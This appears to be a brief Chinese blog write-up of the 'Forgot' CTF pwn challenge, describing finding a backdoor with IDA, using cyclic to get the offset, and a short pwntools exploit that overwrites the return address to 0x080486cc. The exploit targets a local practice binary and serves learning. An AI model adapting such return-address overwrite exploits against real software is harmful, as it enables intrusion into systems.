Pwn

一道简单的栈溢出Forgot

Posted by F0RG3T on August 1, 2019

一道简单的栈溢出Forgot

2019.08.01 下午 5 点,一天烧脑的工作后,打开 ctf-wiki,开始二进制之路。

打开 ida,看到了 cat ./flag

1

根据以前对栈溢出的了解,存在字符串写入,修改函数返回地址于特定地址,完成 pwn
遂开始了漫长的无头绪乱撞

查阅了很多资料,甚至搜到了原题 wp,运用了 cyclic 技巧直接得到了偏移量…

2

编写 exp

from pwn import *

p = process('forgot')

p.recv()
payload = 'A'*63 + p32(0x080486cc)

p.sendline(payload)
p.interactive()

得到结果

3

原理其实网上讲解很多了,我就说一下我的理解,该二进制文件所有都是在栈上进行。 在函数调用时首先将返回地址压栈,然后将参数压栈,之后 esp eip 改变,我们需要做的是讲 ret 返回地址覆盖成一个可控的地址。 该题给了后门,所以最重要的就是找偏移量,cyclic一把嗦。